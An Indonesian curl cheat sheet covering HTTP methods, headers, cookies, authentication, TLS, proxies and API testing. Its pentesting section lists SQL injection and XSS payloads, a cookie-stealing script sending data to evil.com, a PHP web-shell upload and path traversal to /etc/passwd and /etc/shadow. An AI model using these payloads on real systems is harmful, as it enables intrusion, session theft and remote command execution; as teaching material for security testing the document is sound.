Curl Cheat Sheet

Apa itu Curl?

curl adalah tool baris perintah untuk mentransfer data dengan berbagai protokol jaringan (HTTP, HTTPS, FTP, dll). Ini adalah pisau Swiss Army untuk web developer, sysadmin, dan security researcher.

Basic GET/POST

GET Request

# GET biasa
curl https://api.example.com/users

# GET dengan parameter query
curl "https://api.example.com/users?id=1&role=admin"

# GET dan simpan output ke file
curl -o response.json https://api.example.com/users

POST Request

# POST dengan data form (application/x-www-form-urlencoded)
curl -X POST https://api.example.com/login \
  -d "username=admin&password=secret123"

# POST dengan data JSON (application/json)
curl -X POST https://api.example.com/users \
  -H "Content-Type: application/json" \
  -d '{"name": "Budi", "email": "[email protected]"}'

# POST dengan --json (shorthand di curl 7.82+)
curl --json '{"name": "Budi", "email": "[email protected]"}' \
  https://api.example.com/users

PUT, PATCH, DELETE

# PUT - update seluruh resource
curl -X PUT https://api.example.com/users/1 \
  -H "Content-Type: application/json" \
  -d '{"name": "Budi Update", "email": "[email protected]"}'

# PATCH - update sebagian
curl -X PATCH https://api.example.com/users/1 \
  -H "Content-Type: application/json" \
  -d '{"name": "Budi Updated"}'

# DELETE
curl -X DELETE https://api.example.com/users/1

Headers

Custom Headers

# Single header
curl -H "Authorization: Bearer token123" https://api.example.com/protected

# Multiple headers
curl -H "Authorization: Bearer token123" \
  -H "X-API-Key: abcdef123" \
  -H "User-Agent: Mozilla/5.0" \
  https://api.example.com/data

# Custom User-Agent
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  https://example.com

# Kirim cookie
curl -b "session=abc123; token=xyz789" https://example.com/dashboard

# Simpan cookie dari response
curl -c cookies.txt https://example.com/login -d "user=admin&pass=123"

# Kirim cookie dari file
curl -b cookies.txt https://example.com/dashboard

# Cookie session lengkap (login -> simpan cookie -> akses)
curl -c cookies.txt -X POST https://example.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"secret"}'

curl -b cookies.txt https://example.com/api/profile

Data dan Encoding

URL Encoding

# Data otomatis di-URL-encode
curl -X POST https://example.com/search \
  --data-urlencode "q=curl tutorial bahasa indonesia" \
  --data-urlencode "page=1"

# Data mentah (no encoding)
curl -X POST https://example.com/submit --data-raw "key=value&foo=bar"

Multipart Form (File Upload)

# Upload file
curl -X POST https://example.com/upload \
  -F "file=@/path/to/file.pdf" \
  -F "description=Laporan penting" \
  -F "category=dokumen"

# Upload dengan filename custom
curl -F "[email protected];filename=profile.jpg;type=image/jpeg" \
  https://example.com/upload

# Multiple files
curl -F "photos[][email protected]" -F "photos[][email protected]" \
  https://example.com/gallery/upload

Authentication

Basic Auth

# Cara 1: inline (tidak aman - terlihat di history shell)
curl -u admin:password123 https://api.example.com/admin

# Cara 2: prompt password (lebih aman)
curl -u admin https://api.example.com/admin
# (akan meminta password)

# Cara 3: manual Authorization header
curl -H "Authorization: Basic $(echo -n admin:password123 | base64)" \
  https://api.example.com/admin

Bearer Token (JWT)

curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..." \
  https://api.example.com/protected

API Key (Query Parameter)

curl "https://api.example.com/data?api_key=sk-abcdef1234567890"

Redirect & Following

# Jangan follow redirect (default)
curl http://example.com

# Follow redirect (ikuti sampai tujuan)
curl -L http://example.com

# Follow redirect dengan batas maksimal
curl -L --max-redirs 5 http://bit.ly/some-link

# Lihat semua hop redirect
curl -L -v http://example.com 2>&1 | grep -i "location\|HTTP/"

Verbose & Debugging

Verbose Mode (-v)

curl -v https://api.example.com/data

Output lengkap meliputi:

SSL/TLS handshake details
Request headers yang dikirim
Response headers dan status code
Timing info

Output Response Headers

# Lihat response headers + body
curl -i https://api.example.com/data

# Hanya response headers (HEAD request)
curl -I https://api.example.com/data

# Hanya status code
curl -s -o /dev/null -w "%{http_code}" https://api.example.com/data
# Output: 200

# Custom format output
curl -s -o /dev/null -w "Status: %{http_code}\nTime: %{time_total}s\nSize: %{size_download} bytes\n" \
  https://api.example.com/data

Timing Breakdown

curl -w "\n\n===== TIMING =====\n\
Connect: %{time_connect}s\n\
TTFB: %{time_starttransfer}s\n\
Total: %{time_total}s\n\
Speed: %{speed_download} bytes/s\n" \
  -o /dev/null -s https://api.example.com

SSL/TLS

# Skip SSL verification (⚠️ untuk testing saja)
curl -k https://self-signed.example.com

# Atau setel ke insecure
curl --insecure https://self-signed.example.com

# Gunakan cert dan key spesifik
curl --cert client.crt --key client.key https://api.example.com

# Gunakan CA certificate custom
curl --cacert /path/to/ca-bundle.crt https://internal.example.com

# Paksa versi TLS tertentu
curl --tlsv1.2 https://example.com
curl --tls-max 1.2 https://example.com

# Cek SSL certificate info
echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null | openssl x509 -text | head -20

peringatan

Jangan gunakan -k / --insecure di production! Ini membuat koneksi rentan terhadap MITM attack.

Timeout & Retry

# Timeout koneksi (3 detik)
curl --connect-timeout 3 https://example.com

# Max waktu total (10 detik)
curl --max-time 10 https://example.com

# Retry otomatis (3 kali)
curl --retry 3 https://example.com

# Retry dengan delay
curl --retry 3 --retry-delay 5 https://example.com

# Retry on specific errors (7 = connection refused)
curl --retry 3 --retry-connrefused https://example.com

Proxy

# HTTP Proxy
curl -x http://proxy.example.com:8080 https://api.example.com

# HTTPS Proxy
curl -x https://proxy.example.com:443 https://api.example.com

# SOCKS5 Proxy
curl --socks5 127.0.0.1:9050 https://example.com

# Proxy dengan autentikasi
curl -x http://user:[email protected]:8080 https://example.com

# Bypass proxy untuk domain tertentu
curl --noproxy "localhost,127.0.0.1,*.local" https://internal.local/api

Output & Silent Mode

# Simpan ke file
curl -o output.html https://example.com

# Simpan dengan nama file dari URL
curl -O https://example.com/files/document.pdf

# Silent mode (tanpa progress bar)
curl -s https://api.example.com/data

# Silent + error saja
curl -sS https://api.example.com/data  # -S menampilkan error jika ada

# Output ke /dev/null (hanya cek response)
curl -s -o /dev/null -w "%{http_code}" https://example.com

Contoh untuk Web Pentesting

SQL Injection Test

# Test SQLi di parameter GET
curl "https://target.com/page?id=1'+OR+'1'%3D'1"
curl "https://target.com/page?id=1 UNION SELECT 1,2,3,4--"
curl "https://target.com/page?id=1' UNION SELECT @@version,2,3,4--"

# Blind SQLi - cek waktu response
curl -s -o /dev/null -w "%{time_total}s\n" \
  "https://target.com/page?id=1' AND SLEEP(5)-- "

# SQLi via POST
curl -X POST https://target.com/login \
  -d "username=admin'--&password=anything"

XSS Test

# Reflected XSS
curl "https://target.com/search?q=<script>alert('XSS')</script>"

# Stored XSS via form
curl -X POST https://target.com/comment \
  -d "name=test&message=<script>document.location='http://evil.com/steal.php?c='+document.cookie</script>"

# XSS di header
curl -H "User-Agent: <script>alert(1)</script>" https://target.com

File Upload Exploit

# Upload PHP shell
curl -X POST https://target.com/upload \
  -F "[email protected];filename=shell.php.jpg;type=image/jpeg" \
  -F "submit=Upload"

# Upload dengan content-type manipulation
curl -X POST https://target.com/upload \
  -H "Content-Type: multipart/form-data; boundary=--boundary" \
  --data-binary $'----boundary\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']); ?>\r\n----boundary--'

Path Traversal

# Path traversal
curl "https://target.com/static/../../../etc/passwd"
curl "https://target.com/download?file=../../etc/shadow"
curl --path-as-is "https://target.com/files/..%2f..%2f..%2fetc/passwd"

Directory Enumeration

# Brute force directory (gunakan loop bash sederhana)
for dir in admin login api dashboard config backup wp-admin; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$dir/")
  echo "$dir -> $code"
done

Contoh untuk API Testing

REST API Full Workflow

# 1. Login dapat token
TOKEN=$(curl -s -X POST https://api.example.com/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"secret"}' \
  | jq -r '.token')

echo "Token: $TOKEN"

# 2. Buat resource baru
curl -s -X POST https://api.example.com/users \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"Test User","email":"[email protected]"}'

# 3. Get resource dengan pagination
curl -s "https://api.example.com/users?page=1&limit=10" \
  -H "Authorization: Bearer $TOKEN" | jq .

# 4. Update resource
curl -s -X PATCH https://api.example.com/users/1 \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"Updated Name"}'

# 5. Delete resource
curl -s -X DELETE https://api.example.com/users/1 \
  -H "Authorization: Bearer $TOKEN"

Rate Limit Testing

# Test rate limit dengan loop
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "Request $i: %{http_code} - %{time_total}s\n" \
    https://api.example.com/endpoint
done

GraphQL API

curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { users { id name email } }"}'

# Dengan variables
curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query GetUser($id: ID!) { user(id: $id) { name email } }","variables":{"id":"1"}}'

Perbandingan Metode Request

Method	Kegunaan	Contoh
`GET`	Ambil data	`curl https://api.example.com/users`
`POST`	Buat data baru	`curl -X POST -d '{"name":"Budi"}' https://api.example.com/users`
`PUT`	Update/replace seluruh data	`curl -X PUT -d '{"name":"Baru"}' https://api.example.com/users/1`
`PATCH`	Update sebagian data	`curl -X PATCH -d '{"name":"Ubah"}' https://api.example.com/users/1`
`DELETE`	Hapus data	`curl -X DELETE https://api.example.com/users/1`
`HEAD`	Cek header saja	`curl -I https://example.com`
`OPTIONS`	Cek method yg diizinkan	`curl -X OPTIONS https://api.example.com`

Parameter Cepat

Parameter	Deskripsi	Contoh
`-X` / `--request`	Method HTTP	`-X POST`
`-H` / `--header`	Custom header	`-H "Content-Type: application/json"`
`-d` / `--data`	Data body	`-d "key=value"`
`-F` / `--form`	Form data + file	`-F "[email protected]"`
`-b` / `--cookie`	Kirim cookie	`-b "session=abc"`
`-c` / `--cookie-jar`	Simpan cookie	`-c cookies.txt`
`-o` / `--output`	Output ke file	`-o hasil.json`
`-O`	Output dengan nama file dari URL	`-O https://site/file.pdf`
`-s` / `--silent`	Silent mode	`-s`
`-S` / `--show-error`	Tampilkan error di silent	`-sS`
`-v` / `--verbose`	Verbose	`-v`
`-i` / `--include`	Include response headers	`-i`
`-I` / `--head`	Head request	`-I`
`-L` / `--location`	Follow redirect	`-L`
`-k` / `--insecure`	Skip SSL verify	`-k`
`-u` / `--user`	Basic auth	`-u user:pass`
`-A` / `--user-agent`	Custom user-agent	`-A "Mozilla/5.0"`
`-x` / `--proxy`	Proxy	`-x http://proxy:8080`
`-w` / `--write-out`	Custom output format	`-w "%{http_code}"`
`--connect-timeout`	Timeout koneksi	`--connect-timeout 5`
`--max-time`	Timeout total	`--max-time 30`
`--retry`	Retry otomatis	`--retry 3`
`--json`	POST dengan JSON (curl 7.82+)	`--json '{"key":"val"}'`

Kesimpulan

curl adalah tool paling esensial untuk web debugging, API testing, dan web security assessment. Dengan menguasai parameter-parameter di atas, kamu bisa:

✅ Debug API endpoint dan response
✅ Test autentikasi dan authorization
✅ Eksploitasi dan verifikasi kerentanan web
✅ Otomatisasi request HTTP di script
✅ Upload/download file via CLI
✅ Bypass proxy dan SSL issues

Combination favorit:

# Debug lengkap
curl -v -L -i -sS https://api.example.com/data

# Cek status cepat
curl -s -o /dev/null -w "%{http_code} | %{time_total}s\n" https://example.com

# Silent POST dengan JSON
curl -s -X POST -H "Content-Type: application/json" \
  -d @payload.json https://api.example.com/endpoint | jq .

# Full pentest inspection
curl -k -L -v -H "User-Agent: Mozilla/5.0" \
  -b cookies.txt -c cookies_new.txt \
  --connect-timeout 10 --max-time 30 \
  "https://target.com/page?param=test"

Ingat: dengan kekuatan besar datang tanggung jawab besar. Gunakan curl untuk hal-hal yang etis dan legal!